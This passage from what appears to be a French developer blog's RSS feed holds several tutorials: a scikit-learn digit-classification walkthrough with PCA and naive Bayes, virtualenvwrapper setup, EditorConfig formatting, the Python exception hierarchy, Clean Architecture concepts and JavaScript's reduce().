    ax.imshow(digits.images[i], cmap=plt.cm.binary, interpolation=&#39;nearest&#39;)
    
    # label the image with the target value
    ax.text(0, 7, str(digits.target[i]))
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/mnist.png" alt="image"></p>
<br/>
<h1 id="visualisation-des-données">Visualisation des données</h1>
<p>Pour beaucoup de problème, la première étape est de visualiser les données en utilisant une technique de réduction de dimensions. Pour ce faire, l&rsquo;algorithme le plus simple est PCA (Principal Component Analysis)</p>
<p>Cet algorithme cherche à trouver les combinaisons linéaires orthogonales qui ont la plus grande variance entre les <em>features</em> du dataset. Cela permet d&rsquo;avoir une bonne idée de la structure du dataset.</p>
<pre tabindex="0"><code>from sklearn.decomposition import RandomizedPCA
pca = RandomizedPCA(n_components=2)
proj = pca.fit_transform(digits.data)

plt.scatter(proj[:, 0], proj[:, 1], c=digits.target)
plt.colorbar()
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/visu1.png" alt="image"></p>
<br/>
<h1 id="classifieur-naïf-bayésien">Classifieur naïf bayésien</h1>
<blockquote>
<p>A la base de la classification naïve bayésienne se trouve le théorème de Bayes avec l&rsquo;hypothèse simplificatrice, dite naïve, d&rsquo;indépendance entre toutes les paires de variables.
Le rôle de ce classifieur est de classer dans des groupes (des
classes) les échantillons qui ont des propriétés similaires, mesurées sur les observations.</p></blockquote>
<p>Ce classifieur simple permet d&rsquo;avoir rapidement une idée de nos données. Dans notre cas, il se prête au sujet mais avec des données plus complexe, il faut passer à un classifieur plus sophistiqué.</p>
<pre tabindex="0"><code>from sklearn.naive_bayes import GaussianNB
from sklearn.cross_validation import train_test_split

# split des données en 2 parties: apprentissage et test
X_train, X_test, y_train, y_test = train_test_split(digits.data, digits.target)

# Entrainement du modèle
clf = GaussianNB()
clf.fit(X_train, y_train)

# On utilise le modèle pour prédire les labels des données de test
predicted = clf.predict(X_test)
expected = y_test
</code></pre><p>On réaffiche les chiffres avec la prédiction de notre classifieur. Si le chiffre est en vert, cela signifie que notre classifieur a bien trouvé le bon chiffre. En rouge, il s&rsquo;est trompé.</p>
<pre tabindex="0"><code>fig = plt.figure(figsize=(9, 9))  # Taille du graphique en pouces
fig.subplots_adjust(left=0, right=1, bottom=0, top=1, hspace=0.05, wspace=0.05)

# On affiche les chiffres: chaque image fait 16x16 pixels
for i in range(128):
    ax = fig.add_subplot(16, 16, i + 1, xticks=[], yticks=[])
    ax.imshow(X_test.reshape(-1, 8, 8)[i], cmap=plt.cm.binary,
              interpolation=&#39;nearest&#39;)
    
    # On labelise l&#39;image avec la valeur prédite
    if predicted[i] == expected[i]:
        ax.text(0, 7, str(predicted[i]), color=&#39;green&#39;)
    else:
        ax.text(0, 7, str(predicted[i]), color=&#39;red&#39;)
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/mnist2.png" alt="image"></p>
<br/>
<h1 id="mesure-quantitative-de-la-performance-du-classifieur">Mesure quantitative de la performance du classifieur</h1>
<p>Une première approche simple consisterait à calculer le pourcentage de bonnes prédictions du classifieur.</p>
<pre tabindex="0"><code>matches = (predicted == expected)
print(matches.sum())
print(len(matches))

matches.sum() / float(len(matches))
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>372
450

0.88222222222222224
</code></pre><p>Ce résultat est pas trop mal mais d&rsquo;autres métriques plus sophistiquées peuvent être utilisées pour juger de la performance du classifieur.
Les métriques données par ==classification_report== peuvent être utilisées. Cet outil est disponible dans le package ==sklearn.metrics==.</p>
<pre tabindex="0"><code>from sklearn import metrics
print(metrics.classification_report(expected, predicted))
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/metrics-classification.png" alt="image"></p>
<p>La matrice de confusion (ou tableau de contingence) peut également nous donner des précisions sur la performance de notre classifieur. Elle est obtenue en comparant les données classées avec des données de référence qui doivent être différentes de celles ayant servi à réaliser la classification.</p>
<pre tabindex="0"><code>print(metrics.confusion_matrix(expected, predicted))
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>[[25  0  0  0  0  0  0  0  0  0]
 [ 0 41  1  0  0  0  0  0  5  1]
 [ 0  3 26  1  0  0  0  0 17  0]
 [ 0  0  2 30  0  2  0  1  8  0]
 [ 0  3  0  0 42  1  1  2  1  0]
 [ 0  0  0  1  0 41  0  1  1  0]
 [ 0  1  0  0  0  0 37  0  0  0]
 [ 0  0  0  0  0  0  0 51  0  0]
 [ 0  5  0  2  0  1  0  0 39  0]
 [ 0  1  0  0  0  2  0  7  7 40]]
</code></pre><p><em>Explications sur la lecture de cette Matrice:</em></p>
<pre tabindex="0"><code>     0  1  2  3  4  5  6  7  8  9 (classe estimée)
0 [[25  0  0  0  0  0  0  0  0  0]
1  [ 0 41  1  0  0  0  0  0  5  1]
2  [ 0  3 26  1  0  0  0  0 17  0]
3  [ 0  0  2 30  0  2  0  1  8  0]
4  [ 0  3  0  0 42  1  1  2  1  0]
5  [ 0  0  0  1  0 41  0  1  1  0]
6  [ 0  1  0  0  0  0 37  0  0  0]
7  [ 0  0  0  0  0  0  0 51  0  0]
8  [ 0  5  0  2  0  1  0  0 39  0]
9  [ 0  1  0  0  0  2  0  7  7 40]]
</code></pre><ul>
<li>
<p>Sur 25 chiffres prédits à 0, il n&rsquo;y a pas eu d&rsquo;erreur</p>
</li>
<li>
<p>Verticalement, sur 53 chiffres prédits à 1, (additionner verticalement: 41+3+3+1+5 = 53)</p>
<ul>
<li>3 étaient en fait des 2,</li>
<li>3 étaient des 4</li>
<li>1 chiffre prédit à 1 était en fait un 6</li>
<li>5 étaient des 8</li>
<li><em>Soit un total de 12 erreurs</em></li>
</ul>
</li>
<li>
<p>Verticalement, sur 71 chiffres prédits à 8, seulement 39 sont bons</p>
<ul>
<li>17 étaient en fait des 2</li>
<li>8 étaient des 3</li>
<li><em>39 erreurs de prédictions quand le classifieur a estimé des chiffres à 8</em></li>
</ul>
</li>
<li>
<p>Horizontalement, sur 47 chiffres qui étaient à 2, 26 sont biens estimés</p>
</li>
<li>
<p>Horizontalement, sur 43 chiffres qui étaient des 3, 30 sont biens estimés</p>
</li>
</ul>
<p><strong>Ce qu&rsquo;on voit surtout en conclusion, c&rsquo;est les chiffres 1, 2, 3, et 9 sont souvent labelisé comme des 8.</strong></p>
]]></content>
        </item>
        
        <item>
            <title>Gérer plusieurs environnements virtuels sans se prendre la tête</title>
            <link>https://leandeep.com/g%C3%A9rer-plusieurs-environnements-virtuels-sans-se-prendre-la-t%C3%AAte/</link>
            <pubDate>Fri, 13 May 2016 21:36:00 +0000</pubDate>
            
            <guid>https://leandeep.com/g%C3%A9rer-plusieurs-environnements-virtuels-sans-se-prendre-la-t%C3%AAte/</guid>
            <description>&lt;p&gt;&lt;strong&gt;virtualenvwrapper&lt;/strong&gt; est un utilitaire intéressant pour pouvoir switcher d&amp;rsquo;un environnement à un autre très simplement sur le même projet ou sur des projets différents.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cet outil ne fonctionne pas sur Windows&lt;/p&gt;&lt;/blockquote&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install virtualenv
pip install --user virtualenvwrapper
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ensuite il faut rajouter quelques lignes dans &lt;code&gt;~/.zshrc&lt;/code&gt; (ou &lt;code&gt;~/.bashrc&lt;/code&gt; ou &lt;code&gt;~/.bash_profile&lt;/code&gt;):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export WORKON_HOME=~/.virtualenvs
mkdir -p $WORKON_HOME
source ~/.local/bin/virtualenvwrapper.sh
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Selon où vous avez installé virtualenvwrapper, la dernière ligne peut changer.
Vérifiez que votre PATH contient bien le répertoire &lt;code&gt;~/.local/bin&lt;/code&gt;. Si ce n&amp;rsquo;est pas le cas, ajoutez la commande suivante à votre fichier &lt;code&gt;~/.zshrc&lt;/code&gt;: &lt;code&gt;export PATH=$PATH:~/.local/bin&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>virtualenvwrapper</strong> est un utilitaire intéressant pour pouvoir switcher d&rsquo;un environnement à un autre très simplement sur le même projet ou sur des projets différents.</p>
<blockquote>
<p>Cet outil ne fonctionne pas sur Windows</p></blockquote>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>pip install virtualenv
pip install --user virtualenvwrapper
</code></pre><p>Ensuite il faut rajouter quelques lignes dans <code>~/.zshrc</code> (ou <code>~/.bashrc</code> ou <code>~/.bash_profile</code>):</p>
<pre tabindex="0"><code>export WORKON_HOME=~/.virtualenvs
mkdir -p $WORKON_HOME
source ~/.local/bin/virtualenvwrapper.sh
</code></pre><blockquote>
<p>Selon où vous avez installé virtualenvwrapper, la dernière ligne peut changer.
Vérifiez que votre PATH contient bien le répertoire <code>~/.local/bin</code>. Si ce n&rsquo;est pas le cas, ajoutez la commande suivante à votre fichier <code>~/.zshrc</code>: <code>export PATH=$PATH:~/.local/bin</code></p></blockquote>
<p>&mdash; Update du 15/11/2019 &mdash;</p>
<p><strong>Installer virtualenvwrapper sur OS X Catalina:</strong></p>
<p>Installer Python 2.x:</p>
<pre tabindex="0"><code>brew install python@2
</code></pre><p>Ajouter la ligne suivante dans votre <code>~/.zshrc</code>:</p>
<pre tabindex="0"><code>export PATH=&#34;/usr/local/opt/python/libexec/bin:/usr/local/bin:$PATH&#34;
</code></pre><p>Installer virtualenv et virtualenvwrapper:</p>
<pre tabindex="0"><code>pip install virtualenv
pip install virtualenvwrapper
</code></pre><p>Vérifier le bon fonctionnement:</p>
<pre tabindex="0"><code>mkvirtualenv -p /usr/bin/python3 -a . ai_env
</code></pre><h2 id="commandes-de-base">Commandes de base</h2>
<p>On a maintenant accès à de nouvelles commandes:</p>
<pre tabindex="0"><code># Créer un virtualenv dans le dossier ~/.virtualenvs, où que vous soyez
mkvirtualenv [-p /Users/olivier/.pyenv/shims/python] [-a .] nom_de_votre_env


# Activer automatiquement un env, où que vous soyez.
workon nom_de_votre_env 

# supprimer un environnement 
rmvirtualenv nom_de_votre_env 
</code></pre><p><strong>Les options de <code>mkvirtualenv</code> sont les mêmes que pour la commande <code>virtualenv</code>, vous n’avez juste plus à vous souciez de où sont vos environnements, ni de où vous êtes.</strong></p>
<h2 id="autres-commandes-utiles">Autres commandes utiles</h2>
<p>Lister tous les environnements:</p>
<pre tabindex="0"><code>lsvirtualenv
</code></pre><p>Naviguez dans le répertoire de l’environnement virtuel activé:</p>
<pre tabindex="0"><code>cdvirtualenv
</code></pre><p>Accéder au répertoire site-packages de l&rsquo;environnement activé:</p>
<pre tabindex="0"><code>cdsitepackages
</code></pre><p>Montre le contenu du répertoire site-packages:</p>
<pre tabindex="0"><code>lssitepackages
</code></pre><p>Redéfinir le répertoire par défault du virtualenv</p>
<pre tabindex="0"><code>cd /votre/nouveau/repertoire/par/defaut
setvirtualenvproject
</code></pre><p>Liste complète des commandes:
<a href="http://virtualenvwrapper.readthedocs.org/en/latest/command_ref.html">http://virtualenvwrapper.readthedocs.org/en/latest/command_ref.html</a></p>
]]></content>
        </item>
        
        <item>
            <title>Formatage automatique du code Python sur n&#39;importe quel IDE</title>
            <link>https://leandeep.com/formatage-automatique-du-code-python-sur-nimporte-quel-ide/</link>
            <pubDate>Fri, 15 Apr 2016 21:14:00 +0000</pubDate>
            
            <guid>https://leandeep.com/formatage-automatique-du-code-python-sur-nimporte-quel-ide/</guid>
            <description>&lt;p&gt;Editorconfig est un formidable outil pour laisser aux développeurs le choix d&amp;rsquo;utiliser l&amp;rsquo;IDE qu&amp;rsquo;ils préfèrent sans avoir des problèmes de formatage de code.&lt;/p&gt;
&lt;p&gt;Voici un exemple d&amp;rsquo;utilisation simple avec Python:&lt;/p&gt;
&lt;p&gt;Au niveau &lt;code&gt;root&lt;/code&gt; de votre projet créez un fichier &lt;code&gt;.editorconfig&lt;/code&gt;.
Par exemple, ajoutez une conf de formatage des indentations:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[*.py]
indent_style = space
indent_size = 4
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si comme moi vous êtes passé à visual studio code (ou atom), il suffit d&amp;rsquo;installer un plugin appelé &lt;code&gt;EditorConfig for VS Code&lt;/code&gt; et le package Python autopep8 via pip. Ce dernier s&amp;rsquo;installera tout seul si vous pressez les commandes de formatage automatique &lt;code&gt;alt&lt;/code&gt; + &lt;code&gt;Shift&lt;/code&gt; + &lt;code&gt;f&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Editorconfig est un formidable outil pour laisser aux développeurs le choix d&rsquo;utiliser l&rsquo;IDE qu&rsquo;ils préfèrent sans avoir des problèmes de formatage de code.</p>
<p>Voici un exemple d&rsquo;utilisation simple avec Python:</p>
<p>Au niveau <code>root</code> de votre projet créez un fichier <code>.editorconfig</code>.
Par exemple, ajoutez une conf de formatage des indentations:</p>
<pre tabindex="0"><code>[*.py]
indent_style = space
indent_size = 4
</code></pre><p>Si comme moi vous êtes passé à visual studio code (ou atom), il suffit d&rsquo;installer un plugin appelé <code>EditorConfig for VS Code</code> et le package Python autopep8 via pip. Ce dernier s&rsquo;installera tout seul si vous pressez les commandes de formatage automatique <code>alt</code> + <code>Shift</code> + <code>f</code>.</p>
<p>Une fois que tout est installé, vous pouvez reformater votre code automatiquement via la commande précédente <code>alt</code> + <code>Shift</code> + <code>f</code>.</p>
]]></content>
        </item>
        
        <item>
            <title>Liste des exceptions Python</title>
            <link>https://leandeep.com/liste-des-exceptions-python/</link>
            <pubDate>Fri, 01 Apr 2016 20:06:00 +0000</pubDate>
            
            <guid>https://leandeep.com/liste-des-exceptions-python/</guid>
            <description>&lt;p&gt;Liste à garder sous le coude pour gérer le plus explicitement possible les erreurs en Python. Pratique si vous utilisez des outils comme &lt;a href=&#34;https://sentry.io/welcome/&#34;&gt;Sentry&lt;/a&gt;.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;BaseException
 +-- SystemExit
 +-- KeyboardInterrupt
 +-- GeneratorExit
 +-- Exception
      +-- StopIteration
      +-- StopAsyncIteration
      +-- ArithmeticError
      |    +-- FloatingPointError
      |    +-- OverflowError
      |    +-- ZeroDivisionError
      +-- AssertionError
      +-- AttributeError
      +-- BufferError
      +-- EOFError
      +-- ImportError
           +-- ModuleNotFoundError
      +-- LookupError
      |    +-- IndexError
      |    +-- KeyError
      +-- MemoryError
      +-- NameError
      |    +-- UnboundLocalError
      +-- OSError
      |    +-- BlockingIOError
      |    +-- ChildProcessError
      |    +-- ConnectionError
      |    |    +-- BrokenPipeError
      |    |    +-- ConnectionAbortedError
      |    |    +-- ConnectionRefusedError
      |    |    +-- ConnectionResetError
      |    +-- FileExistsError
      |    +-- FileNotFoundError
      |    +-- InterruptedError
      |    +-- IsADirectoryError
      |    +-- NotADirectoryError
      |    +-- PermissionError
      |    +-- ProcessLookupError
      |    +-- TimeoutError
      +-- ReferenceError
      +-- RuntimeError
      |    +-- NotImplementedError
      |    +-- RecursionError
      +-- SyntaxError
      |    +-- IndentationError
      |         +-- TabError
      +-- SystemError
      +-- TypeError
      +-- ValueError
      |    +-- UnicodeError
      |         +-- UnicodeDecodeError
      |         +-- UnicodeEncodeError
      |         +-- UnicodeTranslateError
      +-- Warning
           +-- DeprecationWarning
           +-- PendingDeprecationWarning
           +-- RuntimeWarning
           +-- SyntaxWarning
           +-- UserWarning
           +-- FutureWarning
           +-- ImportWarning
           +-- UnicodeWarning
           +-- BytesWarning
           +-- ResourceWarning
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Exemple:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Liste à garder sous le coude pour gérer le plus explicitement possible les erreurs en Python. Pratique si vous utilisez des outils comme <a href="https://sentry.io/welcome/">Sentry</a>.</p>
<pre tabindex="0"><code>BaseException
 +-- SystemExit
 +-- KeyboardInterrupt
 +-- GeneratorExit
 +-- Exception
      +-- StopIteration
      +-- StopAsyncIteration
      +-- ArithmeticError
      |    +-- FloatingPointError
      |    +-- OverflowError
      |    +-- ZeroDivisionError
      +-- AssertionError
      +-- AttributeError
      +-- BufferError
      +-- EOFError
      +-- ImportError
           +-- ModuleNotFoundError
      +-- LookupError
      |    +-- IndexError
      |    +-- KeyError
      +-- MemoryError
      +-- NameError
      |    +-- UnboundLocalError
      +-- OSError
      |    +-- BlockingIOError
      |    +-- ChildProcessError
      |    +-- ConnectionError
      |    |    +-- BrokenPipeError
      |    |    +-- ConnectionAbortedError
      |    |    +-- ConnectionRefusedError
      |    |    +-- ConnectionResetError
      |    +-- FileExistsError
      |    +-- FileNotFoundError
      |    +-- InterruptedError
      |    +-- IsADirectoryError
      |    +-- NotADirectoryError
      |    +-- PermissionError
      |    +-- ProcessLookupError
      |    +-- TimeoutError
      +-- ReferenceError
      +-- RuntimeError
      |    +-- NotImplementedError
      |    +-- RecursionError
      +-- SyntaxError
      |    +-- IndentationError
      |         +-- TabError
      +-- SystemError
      +-- TypeError
      +-- ValueError
      |    +-- UnicodeError
      |         +-- UnicodeDecodeError
      |         +-- UnicodeEncodeError
      |         +-- UnicodeTranslateError
      +-- Warning
           +-- DeprecationWarning
           +-- PendingDeprecationWarning
           +-- RuntimeWarning
           +-- SyntaxWarning
           +-- UserWarning
           +-- FutureWarning
           +-- ImportWarning
           +-- UnicodeWarning
           +-- BytesWarning
           +-- ResourceWarning
</code></pre><p>Exemple:</p>
<pre tabindex="0"><code>try:
    f = open(&#34;myfile.txt&#34;)
    for line in f:
        print(line)
except FileNotFoundError:
    print(&#34;The file does not exist&#34;)
except PermissionError:
    print(&#34;You don&#39;t have the permission to open the file&#34;)
except Exception:
    print(&#34;Unexpected error occured&#34;)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Clean Architecture</title>
            <link>https://leandeep.com/clean-architecture/</link>
            <pubDate>Tue, 15 Mar 2016 21:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/clean-architecture/</guid>
            <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;Dans cet article nous allons parler de &lt;em&gt;clean architecture&lt;/em&gt; en référence à ce que présente Robert C. Martin (alias &lt;a href=&#34;https://fr.wikipedia.org/wiki/Robert_C._Martin&#34;&gt;Oncle Bob&lt;/a&gt;) dans cette &lt;a href=&#34;https://www.youtube.com/watch?v=Nsjsiz2A9mg&#34;&gt;vidéo&lt;/a&gt;. Si vous ne l&amp;rsquo;avez pas vu, je vous la recommande fortement !&lt;/p&gt;
&lt;p&gt;Tous les concepts dont il parle dans sa proposition &amp;ldquo;d&amp;rsquo;Architecture propre&amp;rdquo; ne sont pas nouveaux car déjà utilisés dans d&amp;rsquo;autres architectures antérieures. (Il le dit lui-même dans sa vidéo.)&lt;/p&gt;
&lt;p&gt;Voici la proposition d&amp;rsquo;Architecture propre:
&lt;img src=&#34;https://leandeep.com/images/clean-architecture-diagram.jpg&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Bonjour à tous,</p>
<p>Dans cet article nous allons parler de <em>clean architecture</em> en référence à ce que présente Robert C. Martin (alias <a href="https://fr.wikipedia.org/wiki/Robert_C._Martin">Oncle Bob</a>) dans cette <a href="https://www.youtube.com/watch?v=Nsjsiz2A9mg">vidéo</a>. Si vous ne l&rsquo;avez pas vu, je vous la recommande fortement !</p>
<p>Tous les concepts dont il parle dans sa proposition &ldquo;d&rsquo;Architecture propre&rdquo; ne sont pas nouveaux car déjà utilisés dans d&rsquo;autres architectures antérieures. (Il le dit lui-même dans sa vidéo.)</p>
<p>Voici la proposition d&rsquo;Architecture propre:
<img src="/images/clean-architecture-diagram.jpg" alt="image"></p>
<br/>
<h1 id="partie-1">Partie 1</h1>
<p>Le schéma à gauche (en forme d&rsquo;oignon) est la combinaison de 2 architectures plus anciennes:</p>
<ul>
<li><a href="http://jeffreypalermo.com/blog/the-onion-architecture-part-1/">Onion Architecture</a> de Jeffrey Palermo, 2008</li>
<li><a href="http://alistair.cockburn.us/Hexagonal&#43;architecture">Ports &amp; Adapters Architecture</a> d&rsquo;Alistair Cockburn, 2005. Cette dernière est également appelée <strong>Architecture Hexagonale</strong>)</li>
</ul>
<br/>
<p>Voici une synthèse des différents concepts présentés.</p>
<h2 id="externalisation-des-outils-et-des-mécanismes-de-livraison">Externalisation des outils et des mécanismes de livraison</h2>
<p>Dans une Architecture Hexagonale on se focuse sur l&rsquo;externalisation des outils et mécanismes de livraison de l&rsquo;application en utilisant des interfaces (ports) et des <em>adapters</em>.</p>
<p>Cette approche est aussi un des fondements de l&rsquo;Onion Architecture comme on peut le voir sur le schéma ci-dessous. Comme on peut le voir, les tests, la couche infrastructure, le UI et la couche d&rsquo;API sont situés à l&rsquo;extrémité du diagramme.</p>
<p><img src="/images/Onion-Architecture.png" alt="image"></p>
<p>Dans la clean Architecture, c&rsquo;est similaire. Au final tout le <em>core</em> applicatif se retrouve au centre et est agnostique des différents frameworks et librairies.</p>
<br/>
<h2 id="direction-des-dépendances">Direction des dépendances</h2>
<p>Dans l&rsquo;Archictecture Hexagonale rien n&rsquo;explicite la direction des dépendances. Néanmoins on peut facilement la déduire.
L&rsquo;application a un port (ou interface) qui doit être implémenté ou utilisé par un <em>adpater</em>. Donc l&rsquo;<em>adapter</em> dépend de l&rsquo;interface qui dépend du <em>core</em> applicatif qui est au centre. Ce qui est à l&rsquo;extérieur dépend de ce qui est à l&rsquo;intérieur. Donc la direction des dépendances est vers le centre.</p>
<p>In the Hexagonal Architecture, we don’t have anything explicitly telling us the direction of the dependencies. Nevertheless, we can easily infer it: The Application has a port (an interface) which must be implemented or used by an adapter. So the Adapter depends on the interface, it depends on the application which is in the centre. What is outside depends on what is inside, the direction of the dependencies is towards the centre.
Dans le diagramme de la Clean Architecture c&rsquo;est très explicite. Il y a des flèches en direction du centre. Elles introduisent le principe d&rsquo;inversion de dépendances. Le centre du cercle ne connait rien de ce qu&rsquo;il y a à l&rsquo;extérieur. De plus, lorsque les données circulent entre les couches c&rsquo;est toujours dans une forme qui convient le mieux aux couches les plus proches du centre.</p>
<br/>
<h2 id="couches">Couches</h2>
<p>Le diagramme de l&rsquo;Architecture Hexagonale ne montre que 2 couches: intérieur de l&rsquo;application et extérieur de l&rsquo;application.</p>
<p><img src="/images/archi-hexa.jpeg" alt="image"></p>
<p>L&rsquo;Onion Architecture quant à elle apporte les couches identifiées par le DDD (Domain Driven Design):</p>
<ul>
<li>Application Services qui porte la logique du <em>use case</em>.</li>
<li>Domain Services qui encapsule la logique du domaine qui n&rsquo;appartient pas aux <em>Entites</em> ou au <em>Value Objects</em>.</li>
<li>Les Entities, Value Objects&hellip;</li>
</ul>
<p>Quand on compare l&rsquo;Onion Architecture et la Clean Architecture on voit que la Clean Architecture garde toutes les couches de l&rsquo;Onion Architecture sauf la partie <em>Domain Services layer</em>.
Cependant lorsque l&rsquo;on rentre dans le détail des articles de Robert C. Martin on se rend compte qu&rsquo;il considère les Entities pas simplement comme les Entities en DDD mais comme un Domain Object.</p>
<br/>
<h2 id="testabilité-et-isolation">Testabilité et isolation</h2>
<p>Les 3 types d&rsquo;Architecture pronent l&rsquo;isolation de l&rsquo;application et de la  <em>domain logic</em> . Cela signifie que pour tous les use cases on peut &ldquo;<em>mocker</em>&rdquo; les outils externes et mécanismes de livraison et que les différentes partie de l&rsquo;application peuvent être testées de manière isolée.</p>
<br/>
<h1 id="partie-2">Partie 2</h1>
<p>Dans cette partie on va s&rsquo;intéresser à la partie droite du schéma de la Clean Architecture.</p>
<p><img src="/images/clean-architecture-right-side.png" alt="image"></p>
<p>Ce n&rsquo;est pas très explicite !
Par contre, on retrouve plus d&rsquo;explication avec le schéma suivant:</p>
<p><img src="/images/clean-architecture-design.png" alt="image"></p>
<p>On y retrouve sur la gauche une Architecture MVC et sur la droite une Architecture EBI (on voit clairement les <em>Boundaries</em>, l&rsquo;<em>Interactor</em> et les <em>Entities</em>), the “Application” in Hexagonal Architecture, the “Application Core” in the Onion Architecture, and the “Entities” and “Use Cases” layers in the Clean Architecture diagram above.</p>
<p>Ce dernier permet d&rsquo;illustrer les Architectures suivantes:</p>
<ul>
<li>EBI (Entity-Boundary-Interactor) Architecture par Ivar Jacobson, 1992</li>
<li>Architecture MVC, 1970s</li>
</ul>
<p>Le pattern EBI est au backend ce que MVC est au frontend. Ces 2 approches sont complémentaires.</p>
<blockquote>
<p>Rappel sur MVC:
<a href="https://herbertograca.com/2017/08/17/mvc-and-its-variants/#model-view-view_model">https://herbertograca.com/2017/08/17/mvc-and-its-variants/#model-view-view_model</a></p></blockquote>
<p>Le pattern MVC separe le code en 3 parties:</p>
<ul>
<li>Le Modèle représente la <em>business logic</em></li>
<li>La Vue représente un widget dans le UI: un bouton, text box&hellip;</li>
<li>Le Controleur permet de coordonner la vue avec le modèle; c&rsquo;est-à-dire décider quelle Vue afficher avec quelle donnée. Il traduit les actions utilisateur (i.e. clic sur bouton) en business logic.</li>
</ul>
<blockquote>
<p>EBI (Entity-Boundary-Interactor) ou Single Responsibility Principle ?</p></blockquote>
<br/>
<h3 id="entity">Entity</h3>
<p>L&rsquo;objet <em>Entity</em> contient la donnée utilisée par le système ainsi que tous les comportements couplés à cette donnée.
&ldquo;An Entity object should contain the logic that would change when the Entity itself changes, that is to say: if the data structure it holds changes, the operations on that data will also need to change and therefore they should be located in the Entity as well.&rdquo;, Ivar Jacobson 1992</p>
<br/>
<h3 id="boundary-interface">Boundary (Interface)</h3>
<p>L&rsquo;object Boundary est l&rsquo;interface avec le système.</p>
<p>&ldquo;Everything concerning the interface of the system is placed in an interface object&rdquo;, Ivar Jacobson 1992</p>
<p>Toutes les fonctionnalités qui dépendent de l&rsquo;environnement du système (outils et mécanismes de livraison) appartiennent à l&rsquo;objet <em>Boundary</em>.</p>
<p>Chaque intéraction avec le système au travers d&rsquo;un &ldquo;acteur&rdquo; passe par l&rsquo;objet Boundary. Un &ldquo;acteur&rdquo; peut être un humain (admin, client) ou non (alarme, trigger, API externe).</p>
<br/>
<h3 id="interactor-control">Interactor (Control)</h3>
<p>L&rsquo;objet <em>Interactor</em> va contenir les comportements par naturellement liés aux autres types d&rsquo;objets.</p>
<p>Ces comportement peuvent typiquement être des opérations sur plusieurs Entities retournant des résultats (qui passeront par l&rsquo;objet boundary).</p>
<p>&ldquo;Behaviour that remains after the Interface objects and Entity objects have obtained their parts will be placed in the control objects&rdquo; Ivar Jacobson 1992</p>
<p>Cela signifie que tous les comportements qui ne se situent pas dans les objets Boundary ou Entity seront placés dans un ou plusieurs objets Interactor.</p>
<br/>
<h1 id="conclusion">Conclusion</h1>
<p>Avec cette approche, Robert C. Martin a n&rsquo;a rien inventé mais rappelle et clarifie des <em>patterns</em> importants souvent oubliés. Il explique quand même comment tous ces patterns, règles et concepts peuvent coexister ensemble pour construire de manière standardisée et propre des applications complexes et facilement maintenables. Je dirais donc que c&rsquo;est à adopter&hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Réduire un tableau en JavaScript</title>
            <link>https://leandeep.com/r%C3%A9duire-un-tableau-en-javascript/</link>
            <pubDate>Sat, 27 Feb 2016 20:20:00 +0000</pubDate>
            
            <guid>https://leandeep.com/r%C3%A9duire-un-tableau-en-javascript/</guid>
            <description>&lt;p&gt;Réduire un tableau en JavaScript peut être effectué en utilisant la méthode &lt;code&gt;reduce()&lt;/code&gt;. Cette méthode applique une fonction contre un accumulateur qui prend chaque valeur du tableau (de gauche à droite) pour le réduire à une seule valeure.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;signature-de-la-méthode-reduce&#34;&gt;Signature de la méthode reduce()&lt;/h2&gt;
&lt;p&gt;La méthode &lt;code&gt;reduce()&lt;/code&gt; prend 2 paramètres:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Obligatoire) Une fonction &lt;em&gt;callback&lt;/em&gt; de réduction. Elle sera appliquée à chaque paire: valeur précédente (résultat de la dernière exécution) et valeur suivante.&lt;/li&gt;
&lt;li&gt;(Facultatif) Une valeur initiale qui sera utilisée comme paramètre du premier appel à la fonction de callback&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;exemple-accumulation-concaténation&#34;&gt;Exemple: accumulation, concaténation&lt;/h2&gt;
&lt;p&gt;Calcul du prix d&amp;rsquo;un panier:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Réduire un tableau en JavaScript peut être effectué en utilisant la méthode <code>reduce()</code>. Cette méthode applique une fonction contre un accumulateur qui prend chaque valeur du tableau (de gauche à droite) pour le réduire à une seule valeure.</p>
<br/>
<h2 id="signature-de-la-méthode-reduce">Signature de la méthode reduce()</h2>
<p>La méthode <code>reduce()</code> prend 2 paramètres:</p>
<ul>
<li>(Obligatoire) Une fonction <em>callback</em> de réduction. Elle sera appliquée à chaque paire: valeur précédente (résultat de la dernière exécution) et valeur suivante.</li>
<li>(Facultatif) Une valeur initiale qui sera utilisée comme paramètre du premier appel à la fonction de callback</li>
</ul>
<br/>
<h2 id="exemple-accumulation-concaténation">Exemple: accumulation, concaténation</h2>
<p>Calcul du prix d&rsquo;un panier:</p>
<pre tabindex="0"><code>// Elements du panier
var items = [{price: 50}, {price: 100}, {price: 500}];

// Fonction de réduction (callback function)
var reducer = function add(sumSoFar, item) { return sumSoFar + item.price; };

//
var totalPrice = items.reduce(reducer, 0);

console.log(totalPrice);
// 650
</code></pre><br/>
<h2 id="usage-avancé-combinaison">Usage avancé (combinaison)</h2>
